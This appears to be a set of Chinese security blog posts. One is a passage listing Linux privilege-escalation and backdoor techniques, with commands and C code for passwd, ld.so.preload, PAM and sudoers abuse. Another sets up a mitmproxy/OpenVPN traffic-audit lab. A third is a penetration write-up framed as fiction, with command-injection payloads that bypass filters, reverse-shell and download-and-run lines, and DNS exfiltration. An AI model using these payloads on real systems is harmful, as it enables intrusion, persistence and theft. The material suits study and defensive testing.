所以有时候渗透的时候会发现，ubuntu的发行版通过redis写crontab就经常利用不成功，因为ubuntu的要求权限是600才会执行，但是 centos/redhat 就不用。

webshell

这个我感觉是用得越来越少了，当然某些情况下还是可以用的，就不多涉及了。

0x02 passwd 和 shadow

这两个文件放在一起，这个方法与其说是用来提权，其实更像是维持权限的一种方式。

passwd 这个方式是我在某个脏牛的exp脚本里学到的，如下

perl -e "print crypt('kali@12', 'AA')" echo "kali:AAvV8CAFWw4Bc:0:0:kali:/root:/bin/bash" >> /etc/passwd

这样之后 su kali 就可以直接登录 kali 用户了，kali 用户的 id 为0，也就相当于 root 用户。

shadow 就更容易理解了，直接替换某个用户的 hash。

0x03 /etc/ld.so.preload

在网上经常能搜到关于 LD_PRELOAD 提权或者后门的消息，但是少有提及到 ld.so.preload 文件的利用。

这两者的区别主要是，前者是全局的，对于整个系统都生效，而后者只对于当前用户和环境才生效。

从描述上来看，明显是前者更能满足我们的需求，光写入文件，不用配其他属性就能实现提权，简直完美。

修改 /etc/ld.so.preload 文件为：

/tmp/preload.so

preload.so 的源代码为：

// preload.c #include <stdio.h> #include <sys/types.h> #include <stdlib.h> void _init(void) { if(geteuid() != 0){ exit(0); } unsetenv("LD_PRELOAD"); unlink("/etc/ld.so.preload"); //Delete it once called. setgid(0); setuid(0); //system("/usr/bin/chown root:root /tmp/runbash; /usr/bin/chmod +s,ugo+x /tmp/runbash"); system("/usr/bin/id > /tmp/pwn"); }

编译该源码：

gcc -fPIC -shared -o preload.so preload.c -nostartfiles -ldl

这样我们就能以 root 权限执行命令了，源码中为了避免反复执行命令，主动删除了 preload 文件，只需要执行一次就够了， 如果没有这行，将会导致灾难性后果。

我在某次CTF比赛中，用这个提权方式成功拿到 flag。只要有任意文件写入，都能用该方式提权。

0x04 PAM 认证

PAM 是 Linux 里负责认证的模块，具体的配置在 /etc/pam.d/ 目录下，其中 su 的配置为 /etc/pam.d/su，其他程序的配置为同名配置文件。

1. 配置文件

我们可以通过修改或者覆盖该配置文件来实现提权，不用密码也能切换到root账号。

/etc/pam.d/su kali 上测试通过

auth sufficient pam_permit.so session required pam_env.so readenv=1 envfile=/etc/default/locale session optional pam_mail.so nopen session required pam_limits.so @include common-auth @include common-account @include common-session

pam_permit.so 的结果是始终返回 True，sufficient 的条件一旦被满足，则直接返回认证成功。

因此上述配置可以实现任意账户切换都成功，不需要密码。

2. pam_rootok.so 库文件

这个 so 库文件在很多程序中都用到了，本来的意义是当 root 用户切换到其他用户时，不需要认证可以直接切换。 当我们有权限可以修改这个库文件时，可以重新生成一个so文件，让它始终返回真就可实现提权。

pam_rootok.so 的源代码在 https://github.com/linux-pam/linux-pam/tree/master/modules/pam_rootok

验证是否为 root 的关键代码如下：

static int check_for_root (pam_handle_t *pamh, int ctrl) { int retval = PAM_AUTH_ERR; if (getuid() == 0) #ifdef WITH_SELINUX if (selinux_check_root() == 0 || security_getenforce() == 0) #endif retval = PAM_SUCCESS; if (ctrl & PAM_DEBUG_ARG) { pam_syslog(pamh, LOG_DEBUG, "root check %s", (retval==PAM_SUCCESS) ? "succeeded" : "failed"); } return retval; }

将返回值修改为 return PAM_SUCCESS 即可实现我们的目标。

完整代码和编译见仓库： https://github.com/Green-m/pam_privilege

0x05 /etc/cron.hourly/

大家看标题应该就知道这个方法了，为什么单独把这个拿出来讲，因为这个对格式的要求没那么高。

这个在 cron.hourly 文件夹内可以直接写 shell 脚本或者其他二进制，对文件的格式要求没那么高，但是要有 execute 权限。

因为在这几个文件夹内是用 run-parts 程序去调用该文件夹下的文件并执行，和 crontab 文件调用执行的原理并不同。

因为它是时间触发的，最快也需要一个小时触发一次，所以网上用这个方式提权或者执行命令的并不多，但在某些场景下是能用到的。

0x06 sudoers

执行命令

echo 'lowprivuser ALL=(ALL) NOPASSWD: ALL' >> /etc/sudoers

这样 lowprivuser 就可以不用密码执行 sudo 命令了。

在测试中，我还发现 sudo 还包含了 /etc/sudoers.d/ 文件夹内的所有配置文件，那么理论上生成一个新文件也是可以的

echo 'lowprivuser ALL=(ALL) NOPASSWD: ALL' >> /etc/sudoers.d/lowprivuser

但是测试过程中发现 sudo 会检查该文件的权限，要求不能是全局可写，否则会提示：

sudo: /etc/sudoers.d/lowprivuser is world writable

那么这个最高的权限就是 776，只要满足这个条件就能够正常使用。

0xff 总结

大体上就这样，不是什么特别有用的方法，但某些时刻可能有特别的效果。

通过 OpenVPN 实现流量审计

Green_m's blog
3 years 10 months ago
0x00 前言

为了满足日益增长的渗透测试网络审计需要，特别是从普通的全流量记录，到进一步的HTTPS流量审计，特地设计了一套网络结构，满足简单的傻瓜化远程接入实验室，实现 http/https 全流量记录的功能。

更新记录：

2022年1月11日 更新：另一种流量分流的方式（进程分流）

0x01 流量镜像和审计系统

早期的流量审计需求不高，抓下全流量就可以，直接买一个流量分光的设备，双网口，一个网口直接串联到设备中间，另一个网口接到抓流量的服务器上，不用改任何网络架构，就实现目的了。 但现在的要求越来越高，需要对HTTPS这样的加密流量也进行解密了，我们只能重新设计网络架构。

一、选择系统

最开始的想法是选用市面上已经有的路由器系统，不是有不少打着名号说自己特别牛逼的全流量审计，解码等等一应俱全的网关，比如 PFsense，WFilter-NGF，RouterOS，openwrt之类的。

经过测试了好几个产品，基本不太能满足需求。 比如 PFsense： SSL/TLS 解码是通过 Squirt 实现的，仅仅能解包记录域名头，并不支持全流量抓包和明文记录，而且由于使用的是 bsd 系统，想自己装一些工具也遇到了比较多的兼容性问题，无奈只好放弃。

尝试了多种系统选择后，最终决定使用 debian + mitmproxy 从轮胎开始一步一步造一辆能跑起来的车。

二、物理架构图

客户端接入有两条线路：

  1. 流量记录线路： Client (192.168.3.x) –> 路由器(192.168.3.1) –> VirtualBox debian (192.168.1.1) –> 4G sim 卡路由器(192.168.8.1) –> 外网
  2. 非流量记录线路： Client (10.90.45.x) –> 路由器(10.90.45.1) –> 外网

分成两条线路，保证工作和其他娱乐下载等流量分开，也避免造成不必要的流量浪费。

三、配置 VirtualBox debian 10 作为路由器

虚拟机搭建步骤省略， 需要配置物理机的网卡 enp0s1 和 enp0s2通过桥接模式映射到虚拟机即可：

物理机 enp0s1 –> 虚拟机enp0s3

物理机 enp0s2 –> 虚拟机enp0s8

  1. 开启流量转发：
sysctl –w net.ipv4.ip_forward=1
  1. 使用iptables 配置转发策略:
iptables -t nat -A PREROUTING -i enp0s8 -p tcp -m tcp --dport 80 -j REDIRECT --to-ports 23333 iptables -t nat -A PREROUTING -i enp0s8 -p tcp -m tcp --dport 443 -j REDIRECT --to-ports 23333 iptables -t nat -A PREROUTING -i enp0s8 -p tcp -m tcp --dport 8080 -j REDIRECT --to-ports 23333 iptables -t nat -A POSTROUTING ! -d 192.168.2.0/24 -o enp0s3 -j MASQUERADE iptables -t filter -A INPUT -i lo -j ACCEPT iptables -t filter -A INPUT -i enp0s8 -j ACCEPT iptables -t filter -A INPUT -i enp0s3 -m conntrack --ctstate RELATED,ESTABLISHED -j ACCEPT iptables -t filter -A FORWARD -i enp0s8 -o enp0s3 -j ACCEPT iptables -t filter -A FORWARD -i enp0s3 -o enp0s8 -m conntrack --ctstate RELATED,ESTABLISHED -j ACCEPT

说明一下： nat 表里的规则是表示 80 443 8080 端口的流量转发到23333端口，实现透明代理，下文会解释 23333 端口的具体作用； filter 表的东西是一些转发和输入策略。

  1. iptables 规则持久化

使用 iptables-persistent 这个包，将上述规则保存到硬盘 /etc/iptables/rulesv4.save ，使用其他方式实现开机自动加载，方式自选，我使用的是 crontab 里的 @reboot 。

四、配置 mitmproxy 实现透明代理

安装最新版 mitmproxy，使用如下命令抓取流量：

/usr/bin/mitmdump -q --mode transparent --showhost -p 23333 --ssl-insecure --cert=cert.pem -s mitm_parse.py -w /data/mitmproxy_traffic/mitm_files/mitm_raw_$(date +"%Y%m%d").mitm

默认的 mitmdump 抓取的流量不是标准的通用格式，是 mitmdump 自定义的，为了保证可读性，这里我使用了 mitm_parse.py 这个脚本来对抓取的内容进行处理，脚本内容如下：

from mitmproxy import http import time,re import logging logfile = "/data/mitmproxy_traffic/logs/mitm_parsed_" + time.strftime("%Y%m%d") + ".log" logging.basicConfig(filename=logfile, filemode='a', format='%(asctime)s,%(msecs)d %(name)s %(levelname)s %(message)s', datefmt='%H:%M:%S', level=logging.INFO) logger = logging.getLogger('mylogger') def response(flow): logtext = "\n" logtext += "="*50 + "\n" logtext += flow.request.url + "\n" logtext += "-"*25 + "request headers:" + "-"*25 + "\n" for k, v in flow.request.headers.items(): logtext += "%-20s: %s" % (k.upper(), v) + "\n" logtext += "-"*25 + "request content:" + "-"*25 + "\n" logtext += flow.response.content.decode('utf-8','ignore') + "\n" logtext += "-"*25 + "response headers:" + "-"*25 + "\n" for k, v in flow.response.headers.items(): logtext += "%-20s: %s" % (k.upper(), v) + "\n" logtext += "-"*25 + "response content:" + "-"*25 + "\n" logtext += flow.response.content.decode('utf-8','ignore') + "\n" logger.info(logtext)

那么这里就有两份数据，一份数据是 mitmdump 抓取的原始数据，存放在 /data/mitmproxy_traffic/mitm_files/目录下，另一份经过脚本处理过的可读性较好的数据，存放在 /data/mitmproxy_traffic/logs/ 目录下。

使用 curl 访问 qq.com 的日志如下：

18:34:12,49 mylogger INFO ================================================== https://125.39.52.26/ -------------------------request headers:------------------------- :AUTHORITY : qq.com USER-AGENT : curl/7.72.0 ACCEPT : */* -------------------------request content:------------------------- <html> <head><title>302 Found</title></head> <body bgcolor="white"> <center><h1>302 Found</h1></center> <hr><center>nginx/1.6.0</center> </body> </html> -------------------------response headers:------------------------- DATE : Mon, 11 Jan 2021 10:34:12 GMT CONTENT-TYPE : text/html SERVER : squid/3.5.24 LOCATION : https://www.qq.com?fromdefault EXPIRES : Mon, 11 Jan 2021 10:35:11 GMT CACHE-CONTROL : max-age=60 VARY : Accept-Encoding X-CACHE : HIT from shenzhen.qq.com -------------------------response content:------------------------- <html> <head><title>302 Found</title></head> <body bgcolor="white"> <center><h1>302 Found</h1></center> <hr><center>nginx/1.6.0</center> </body> </html> 五、dumpcap 抓取全流量

可以看到我们的 mitmproxy 的方案并不完美，只抓取了部分端口号的内容，并不能保证所有流量的记录，因此也十分有必要抓取全部的流量作为备份。

使用 dumpcap 抓取全流量：

#!/bin/bash dir=/data/net_traffic_storage/files/$(date +"%Y%m%d")/ if [ ! -d $dir ] then mkdir $dir fi dumpcap -i enp0s8 -w $dir/traffic.pcapng -b filesize:1024000

使用 supervisor 或者其他类似的工具将上面的命令进行持久化（经常断电），保证每次开启都能自启动成功。

六、使用 NFS 存储数据到物理机

虚拟机的硬盘容量较小，我们也没必要选择存在虚拟机上，所以选择存放在物理机上，使用NFS的方式。 这里也可以直接虚拟机映射硬盘，方式不局限，这里仅作我的选择的记录。

编辑 /etc/fstab，添加如下

192.168.1.128:/data/net_traffic_storage /data/net_traffic_storage nfs defaults 0 0 192.168.1.128:/data/mitmproxy_traffic /data/mitmproxy_traffic nfs defaults 0 0

在重启过程中出现过一些因为先后顺序导致的挂载失败，因此写了个计划任务去判断：

0 */1 * * * cat /proc/mounts | grep -q 192.168.1.128 || systemctl restart remote-fs.target && systemctl restart supervisor 七、另一种流量分流的方式（进程分流）（2022年1月更新）

上面的方式分流是因为 debian 虚拟机网关已经在流量记录的线路中了，对于网关自己来说就只有一条出口线路，直接设置就OK了。

那么更常见的情况，如网关直连两条线路，要求在网关上进行分流应该怎么操作？ 最近遇到这样的需求，下面总结一下对应的方法。

大体思路是利用 cgroup 标记 mitmproxy 的流量，然后用 iptables 和 ip rule 控制其从流量记录的网卡出站，实现记录的目的。

网络介绍：

enp0s1 192.168.30.2 enp0s2 192.168.40.2

两张网卡，默认路由走 enp0s1 出口，为非流量记录线路，enp0s2 为流量记录线路。

iptables 规则：

iptables -t nat -A PREROUTING -s 192.168.40.0/24 -p tcp -m tcp --dport 80 -j DNAT --to-destination 192.168.40.2:23333 iptables -t nat -A PREROUTING -s 192.168.40.0/24 -p tcp -m tcp --dport 443 -j DNAT --to-destination 192.168.40.2:23333 iptables -t nat -A PREROUTING -s 192.168.40.0/24 -p tcp -m tcp --dport 8080 -j DNAT --to-destination 192.168.40.2:23333 iptables -t mangle -A OUTPUT -m cgroup --cgroup 0x00110011 -j MARK --set-mark 11 iptables -t nat -A POSTROUTING -m cgroup --cgroup 0x00110011 -o enp0s2 -j MASQUERADE

PREROUTING 的规则和上面第一种方法一样，只不过指定了网卡的地址，效果没有区别。

mangle 和 POSTROUTING 的规则需要结合 cgroup 的规则一起理解，就是将其 mark ，然后将 mark 后的流量从 enp0s2 网卡出站。

下面设置 cgroup:

apt-get install cgroup-tools cgroup-bin mkdir /sys/fs/cgroup/net_cls/mitmproxy cd /sys/fs/cgroup/net_cls/mitmproxy echo 0x00110011 > net_cls.classid

这里是创建了一个 cgroup 规则，然后创建了一个 mitmproxy 的组，classid 设置为 0x00110011。

然后设置路由

echo 11 mitmproxy >> /etc/iproute2/rt_tables ip rule add fwmark 11 table mitmproxy ip route add default via 192.168.40.1 table mitmproxy

这些命令的作用在下文 OpenVPN Client as gateway 都有解释，这里就不详细多做解释了。

然后使用 cgroup 启动 mitmdump ：

cgexec -g net_cls:mitmproxy mitmdump --mode transparent --showhost -p 23333

这样 mitmdump 的所有流量都会从网卡 enp0s2 出站了，流量也会被记录下来，这样就完美实现需求了。

值得注意的是， ip route 和 cgroup 相关的规则是临时性的，和 iptables 一样，需要进行设置才能实现重启自动生效，这里就不展开了。

这里我们已经实现了流量审计的功能，接下来需要考虑的是如何远程接入审计系统。

0x02 OpenVPN 的网络架构

网络流量走向为（在openvpn 接入的一台服务器上执行）

└─$ traceroute 8.8.8.8 traceroute to 8.8.8.8 (8.8.8.8), 30 hops max, 60 byte packets 1 192.168.2.189 (192.168.2.189) 2 192.168.2.200 (192.168.2.200) 3 192.168.1.1 (192.168.1.1) 4 192.168.8.1 (192.168.8.1) 5 * * * ...... 0x03 OpenVPN Client as gateway 实现

这个需求出现的场景是，我们希望所有接入OpenVPN的客户端，不使用 Server(192.168.2.189) 作为最终的网关，而是使用某一个固定的客户端(192.168.2.200)作为最终的网关。 经过搜索，发现这个需求还比较小众，最终发现了某个帖子里提到了同样的需求，我们以这个帖子为参考。

一、OpenVPN 的 Bridge 和 Route 对比

这篇帖子中提到仅有OpenVPN bridge 模式才能实现这样的功能。先解释一下 bridge 模式和 route 模式的区别（来自官方论坛）：

TAP 设备（bridge 模式）：

  • 可以传输非 TCP/IP 层的流量，也就是第二层。
  • 需要桥接网络

有下列需求的话，必须使用 bridge 模式

  • 需要 LAN 和 VPN 客户端处在同一个广播域
  • 需要 LAN 的 DHCP 服务器给 VPN 客户端提供 DHCP 地址
  • 需要 Windows 服务器在 VPN 网络中，使用网络发现等功能

TAP 设备的优点：

  • 类似一个真正的网络适配器
  • 可以传输任何网络协议（IPv4, IPv6, Netalk, IPX, 等等）
  • 工作在第二层
  • 可以用来桥接网络

TAP 设备的缺点：

  • VPN 传输更多广播流量
  • VPN 传输更多以太网报文头
  • 扩展型差
  • 不能用在安卓或者 IOS 设备

相应的 route 模式，也就是 TUN 设备，工作在第三层，优势和劣势与 bridge 模式相反。

根据我们的需求，这里我们选择更底层的 bridge 模式，流量开销的缺点基本可以忽略不计。

二、搭建 OpenVPN （bridge 模式）

基本的搭建我们就不赘述了，可以使用官方文档或者一键搭建脚本，需要注意的是，根据官方文档，我们搭建 bridge 模式的话，需要自己创建虚拟网卡 brxxx ，但是在云上一创建就会挂掉，这里我们需要使用其他方式来实现该功能，参考：is-it-possible-to-set-up-a-bridged-vpn-in-aws

在 Server 端配置中写入

dev tap # Define your IP address range within a valid subnet server-bridge 192.168.2.189 255.255.255.0 192.168.2.200 192.168.2.250 client-to-client # Set server tap0 ip address on startup up /etc/openvpn/server/openvpn-server-up.sh # Set client config dir client-config-dir /etc/openvpn/ccd

其中 openvpn-server-up.sh 的内容为，并添加可执行权限。

#!/bin/sh ifconfig tap0 192.168.2.189 netmask 255.255.255.0 broadcast 192.168.2.255

在 /etc/openvpn/ccd/ 目录下创建跟 Client 配置文件同名的文件，如 wangxiaoqing， 写入

ifconfig-push 192.168.2.211 255.255.255.0

代表给 wangxiaoqing 这个用户固定 192.168.2.211 的 IP 地址，有多个用户就以此类推。

这样 Server 端启动时会自动启动 openvpn-server-up.sh 的脚本，给 tap0 的虚拟网卡指定网络配置。

最后的 Server 配置发出来大家参考：

port 1194 proto tcp dev tap ca ca.crt cert server.crt key server.key dh dh.pem auth SHA512 tls-crypt tc.key topology subnet script-security 2 server-bridge 192.168.2.189 255.255.255.0 192.168.2.200 192.168.2.250 push "dhcp-option DNS 192.168.8.1" push "redirect-gateway def1 bypass-dhcp" keepalive 10 120 cipher AES-256-CBC user nobody group nogroup persist-key persist-tun status openvpn-status.log verb 3 crl-verify crl.pem client-to-client up /etc/openvpn/server/openvpn-server-up.sh client-config-dir /etc/openvpn/ccd

通过这样的配置，我们就可以实现 Client 接入 VPN 后，访问其他 Client ，或者通过 Server 端上网了。

三、配置 Server 端的路由

通过上面的配置，我们实现了最基础也是最常用的 OpenVPN 架构，多 Client 通过 Server 上网。如果仅仅是这样的话，bridge 和 route 模式几乎没区别。 但接下来的设置，就只有 bridge 模式才能实现了。

为了让所有 Client 使用其中一个 Client (192.168.2.200)作为路由，我们需要在 Server 端进行如下设置。

  1. 先添加一个路由表
echo 100 vpnroute >> /etc/iproute2/rt_tables
  1. 给 路由表 vpnroute 定义地址范围
ip rule add from 192.168.2.0/24 table vpnroute
  1. 给 vpnroute 添加路由
ip route add 192.168.2.0/24 via 192.168.2.189 dev tap0 table vpnroute ip route add default via 192.168.2.200 dev tap0 table vpnroute

第一条为192.168.2.0/24 网段的地址走原始的 Server 网关 192.168.2.189,

第二条为其他的地址走默认的 192.168.2.200 的 Client 网关。

通过命令 ip route show table vpnroute 就能看到我们刚刚添加的路由：

root@openvpn-server:~# ip route show table vpnroute default via 192.168.2.200 dev tap0 192.168.2.0/24 via 192.168.2.189 dev tap0

这种根据源地址来定义路由的方式，叫 policy based routing ，而直接通过 route 命令修改的系统路由表，只能根据目的地址的不同来定义路由策略，不能满足我们的需求。

四、配置 Client 端作为网关

Client(192.168.2.200) 本来是一个普通的 Linux 服务器，想把它作为 gateway ，是需要一些额外配置的。

开启转发：

sysctl –w net.ipv4.ip_forward=1

设置 SNAT

iptables -t nat -A POSTROUTING -s 192.168.2.0/24 ! -d 192.168.2.0/24 -j MASQUERADE -o eth0

通过这样设置，如果 Client 只有一个网络出口的话，就已经可以实现我们需要的功能了。 之后会具体讲到一种多网络接口的特殊情况。

五、Client 多网络出口的情况下

192.168.2.200 这台服务器，作为网关时本地有好几张网卡都可以出外网：

10.90.45.20/24 192.168.1.128/24 192.168.8.105/24

默认的路由表是走 10.90.45.1 这个网关出去上网的，正常的情况下这个机器并不需要走流量审计的网络。这里就涉及到如何让来自 OpenVPN 的流量走 192.168.1.128/24 这个网卡的路由。（ 考虑过使用 192.168.1.1 这台审计网关直接接入 OpenVPN ，但因为虚拟机的网卡是通过桥接模式映射的，再通过 bridge 接入 openvpn 冲突了（猜测），所以就选择直接在物理机上接入。）

这里我们还是使用上文提到的 policy-based route ，通过路由表规则来配置：

先确定通过其中一个网卡能顺利出网：

traceroute --interface=enp1s0f1 8.8.8.8

然后配置路由规则：

echo 201 debian_lan >> /etc/iproute2/rt_tables ip route add default via 192.168.1.1 dev enp1s0f1 table debian_lan ip rule add from 192.168.1.0/24 table debian_lan ip rule add fwmark 0x1111 table debian_lan

使用 iptables 转发

/sbin/iptables -t mangle -A PREROUTING -i tap0 -s 192.168.2.0/24 ! -d 192.168.2.0/24 -j MARK --set-mark 0x1111 /sbin/iptables -t nat -A POSTROUTING -s 192.168.2.0/24 ! -d 192.168.2.0/24 -j MASQUERADE -o enp1s0f1

其他命令在前文已经解释过了，这里需要特别注意的就是如下两句：

ip rule add fwmark 0x1111 table debian_lan iptables -t mangle -A PREROUTING -i tap0 -s 192.168.2.0/24 ! -d 192.168.2.0/24 -j MARK --set-mark 0x1111

第一条的意思是给 路由表 debian_lan 添加标记，第二条 iptables 的意思是在走路由策略之前，给流量包添加标记。符合这个标记的流量包就会走 debian_lan 这个路由表。 最开始我缺少这两条规则，NAT 一直不成功，但是如果尝试默认路由的话又可以 ，加上这两条规则做一下标记后就完美成功了。

0x04 一些不足

以上这套方案，其实还是有很多问题的，比如结构比较复杂耦合程度较高，最严重的问题还是：

  1. 只能根据端口号判断 http(s) 流量，如果是非标准端口号，比如 8443 甚至 38443 这种端口，那就没有办法做证书劫持了，只能记录加密流量，同时其他协议流量也不能解密。所以也记录了全流量作为补充。
  2. 用户体验不太好，中间人劫持肯定是会弹出不信任的警告的，要么手动接受要么导入根证书，就算是根证书也因为 CN 和 SAN 的限制，无法让浏览器或者其他检验了该名称的工具实现完美信任。

能实现目前的程度我暂时觉得已经不错了，后续如果有其他思路的话再进一步改进。

0x05 参考链接

Using a client as a gateway

Is it possible to set up a bridged VPN in AWS to connect multiple clients in a single LAN that will allow broadcasts between them?

Set up your Debian router / gateway in 10 minutes

howto-transparent

iptables深入解析-mangle篇

Route the traffic over specific interface for a process in linux

一次幻想的云上渗透

Green_m's blog
4 years 4 months ago
0x00 前言

我也很久没写博客了，故事纯属虚构，看官看个热闹，如有雷同纯属巧合。

本文主要讲述了我幻想中的一次在云上的渗透，涉及的技术点有命令注入原理，命令注入限制的绕过，dnslog 的使用技巧，云上渗透的一些思路，文中包含大量无证据无截图的攻击思路和试错尝试，真假自辨，如有帮助，不胜荣幸。

0x01 入口

这次的入口来得比较粗暴，就是一个命令注入的漏洞。 漏洞产生的原因是后端将前端输入 shell 中执行命令时，没有将参数按规范进行格式化，而是直接拼接成字符串，然后代入到 bash 中执行，原本最多是个参数注入，变成了命令注入。

我们用实际例子来详细说明这个问题，这块知识比较基础，熟悉的大手子们就可以掠过这部分。

用 python 来示范

import os import subprocess host = raw_input("Enter host:") #host = "green-m.me" subprocess.call("ping -c 1 %s" % host, shell=True)

我们输入 green-m.me;ls

这样就能够在执行 ping 命令之后，然后再执行 ls 命令，实现命令注入。

为了避免这种情况，我们应该写成如下形式

subprocess.call(["ping", "-c", "1", host])

这样 host 无论是什么值，都会被认为是 ping 的参数，无法实现命令注入。

我这次利用的漏洞就是如此。

0x02 限制与绕过 验证漏洞

看起来这里是一个命令注入命令，以为直接反弹 shell 就结束了？ 不，本次渗透才刚刚开始。

这个漏洞发生的业务类似于 gitee.com ，新建 repo 的时候，可以选择 import 仓库，这个 import 的输入就是触发漏洞的地方。

但是，为了限制这个 URL 的合法性，仓库本身对这个 URL 就有诸多限制。经过多次尝试，我大概试出了如下规则。

允许的字符：

$ ; & () / ; %

不允许的字符：

<> {} [] | \ ^ "" 空格

限制的字符很多，我们通常的弹 shell 等操作基本都限制了，如

curl x.x.x.x/evil.sh | sh curl x.x.x.x/evil.sh > aaa.sh && bash aaa.sh bash -i &> /dev/tcp/x.x.x.x/80 0>&1

类似这样的都不行。

我们先步步为营，用 dnslog 来确认一下命令执行，限制了空格可以用$IFS来绕过（还好$符号还能用）。

完整的 URL 为

https://github.com/qqq;curl$IFS$(whoami).qwewqwe.green-m.me;a.git

可以收到名字为git 的 dns 记录。确认了命令执行的漏洞存在。

绕过限制

想到既然限制这么多，多行命令全部通过前端传进去是不太可能了，也不能直接把 shell 脚本通过管道符传给 sh 运行，那我们可能只能通过写文件到本地来执行了。

构造 payload

https://github.com/qq;aaa=myvpsip/evil;curl$IFS$aaa$IFS-o/tmp/evil;bash$IFS/tmp/evil;rm$IFS/tmp/evil;test.git

分段拆开上面的 payload，方便看清楚实现：

aaa=myvpsip/evil curl $aaa -o /tmp/evil bash /tmp/evil rm /tmp/evil

其中 evil 脚本里面是反弹 shell 的命令，位于 myvpspip/evil 上，通过 curl 下载到本地然后运行脚本，最后别忘了删除。

看到这里，有的小朋友可能会有几个问题：

1. 你为什么要把这么多条命令写到一个 payload 里，多段执行不好吗，先发送 curl 下载的 payload，然后发送运行的命令，你到底会不会？

答： 我确实最开始就是这么想的，但是云上的服务都是有负载均衡和集群的，也就是一个前端对应多个后端，与 kafka/spark/es 等自带集群的模式一样。

在这种模式下，每次可能都是后端某一个服务器运行命令，再通过其他方式保持整个集群同步。也就是意味着，先执行下载命令的 服务器，与第二次执行命令的服务器，不是同一个服务器。当然也不排除有可能两次都是同一个服务器，这个概率与集群大小成反比，我尝试了几次都没成功，遂放弃这个方法。

2. 为什么要先把 vps 的 ip 赋予一个变量，然后 curl 这个变量，这种写法与直接 curl ip 有什么区别？

答： 这种方法主要是因为该处限制比较严格导致的。可以参考如下场景：

curl green-m.me // 正常使用情况 curl${IFS}green-m.me // 不使用空格 aaa=green-m.me;curl$IFS$aaa // 不使用空格和{} curl$IFSgreen-m.me // 不使用空格和{}，报错，提示 bash: curl.com: command not found

第四条命令会报错，因为 shell 会把 $IFSgreen-m 认为是一个变量，而不是分开解析成 $IFS 和 green-m.me。为了解决这个问题，我们只能使用第三条命令的方式来保证 payload 正常运行。

到这里，我们就算是成功绕过了限制，如果能成功访问 vps 的脚本，这个命令执行我们就成功搞定了。

0x03 出师不利

一切就绪，监听，运行，仿佛看到了 shell 在向我招手：

What? 居然没弹回来 shell？

我的端口孤孤单单的监听着，就像单身二十五年的男人，渴望着爱情的到来。

冷静了一下，开始思考背后的原因，大概分析了一下，觉得可能有这么几个原因：

  • 网络出口是黑白名单机制，vps 不在白名单里。
  • git 不能直接出公网，是通过其他代理或者转发出来的，所以 bash 出不来公网，但 git 能出。

虽然这两种情况还是有不少区别，但对于我来说基本没什么区别，在第一种白名单情况下，想弹回来 shell 基本不可能，第二种方式还有可能出来，但拿不到代理设置，命令也有限制，想弹 shell 还是非常困难。

……

那退一步考虑，既然弹 shell 不行，那我们能不能考虑只拿数据，先把情况摸清楚，毕竟从前面我们就知道 dns 协议是可以出来的。但问题出在命令的限制很大，想执行稍微复杂一点的命令基本不可能，只能依靠把远端脚本下载到本地运行，才能写多行数据。

接下来的问题就变成了，如何把一个含有多条命令的 shell 脚本，传到一个服务器能够直接访问的地方呢？ 换句话说，要么把脚本传到服务器本地，要么把脚本传到内网其他机器上，就这两个思路。

0x04 第一次尝试

由于这里是一个 git 服务器，可以托管我们的代码，我们自然的想到可以尝试通过上传文件，将所需的 shell 脚本直接放入服务器中。然后我们再执行 shell 脚本就大功告成了！

git 元数据

但是，通过本地测试 gitlab 的实现方法，发现 git 服务器保存 git 文件，并不是如我想象的那样保存完整的目录，也就是说，只保存了 git 的元数据，并不是像我们日常使用一样，能够拿到 git 的完整文件。

也就是说，真正的数据其实是放在 objects 文件夹中的，不能直接拿到完整的文件，git 只保存文件的修改历史。 具体的 git 结构可以参考网上的其他资料，这里不展开。

考虑过使用 git cat-file -p master 来获取文件，如下，我在 .git 目录下执行

$ git cat-file -p HEAD tree d29b5ec8e326568466c1ea3a071d218229ed812e parent 99e4cfeb084c98f040ff8872e692446a21d23793 author Green-m <[email protected]> 1573093065 +0800 committer Green-m <[email protected]> 1573093065 +0800 gpgsig -----BEGIN PGP SIGNATURE----- iQJKBAABCAA0FiEEEKBAqP4JdDnhHGRjekoOaEtdZ0cFAl3DftMWHGdyZWVubS54 eG9vQGdtYWlsLmNvbQAKCRB6Sg5oS11nRxPXEACEIspcteR54x4JuuzJnDYIEDYs KEGvVEG1ZRnYbwTjhIuGCTI/wbdLcm2lKMxakAw18RXCDmiywYvuyxrVTgZnuyOr f3rJ7CodsQ1Fjv/8GJDP/2S08moVzsa18AkaOJiA2Qx61VAs1KFnMaMY6l1FFiDz lqHtMANzga12n+dPESjQh6aeJbQ1Wkq1nZHAlzqD0KD3xcbOaBPGEoqgUA/tV/jS fxdEQrZ/TLCgi+dIpOTCCFA7kJp+ADU3Wx2yQu7UWJofLnnIAwH5pk1TBzLHRu9J +mUE1Zuo5JlgDtXXd2f570XOO/KTbixiMJxv64ILkzzRDr7dSryfGMlrpQaviX2E mbmD1/IpZHPaQbQ5yY8DwoYR6AU5bE78CQW/8RBQhAsBLzBOiLdW8xr/MB3wjYLw IOj+fptrDdHyNAjYoh00x65Vu54vdqLJR9Bp1f8hu0M+SzBWwtwAyiVdwgre8boj 95oQfruW6cJY9SU+Najej+6XFb+mIE0hZVMc8r00KHNhm0ilzV8qemTE9FrtByuT +mbbHqZdJcWznjcGsmpoIm2g0gf1jGiuoUH4G63o1x/xjF3AZEiTHhgQeHwNydue CFzGiTDO7MbAQHi8rw7HilyrgbpsMHi9ScX+vjlwpdSTrnWb3aHsx5QC7NCVxf9n 2cWvM10hItHywvcSWA== =wT6d -----END PGP SIGNATURE----- Add chinese doc.

这样的输出非常乱，包括了我的 commit 信息，作者信息，甚至还有 PGP，最后一句才是我能控制的内容。这样不是标准的 shell 脚本的格式，直接运行第一行就报错了。

本地 clone

我突然想到，平时我们从 github 上 clone 数据的时候，除了带了一个 .git 的文件夹，还把最终的文件也带了下来，这说明 git clone 的时候会进行一些处理，把最终的完整文件给组合出来。 那么，为了实现我们的目的，我们能不能本地 clone 呢？

在本地尝试一下

# green @ greens-MacBook-Pro in /tmp [22:41:54] $ git clone ~/Tools/dark-shell/.git Cloning into 'dark-shell'... done. # green @ greens-MacBook-Pro in /tmp [22:42:02] $ ls -la dark-shell total 120 drwxr-xr-x 7 green wheel 224 Jun 22 22:42 . drwxrwxrwt 17 root wheel 544 Jun 22 22:42 .. drwxr-xr-x 12 green wheel 384 Jun 22 22:42 .git -rw-r--r-- 1 green wheel 35149 Jun 22 22:42 LICENSE -rw-r--r-- 1 green wheel 1958 Jun 22 22:42 README.md -rw-r--r-- 1 green wheel 10208 Jun 22 22:42 dark_shell.rb -rw-r--r-- 1 green wheel 6362 Jun 22 22:42 shell.md

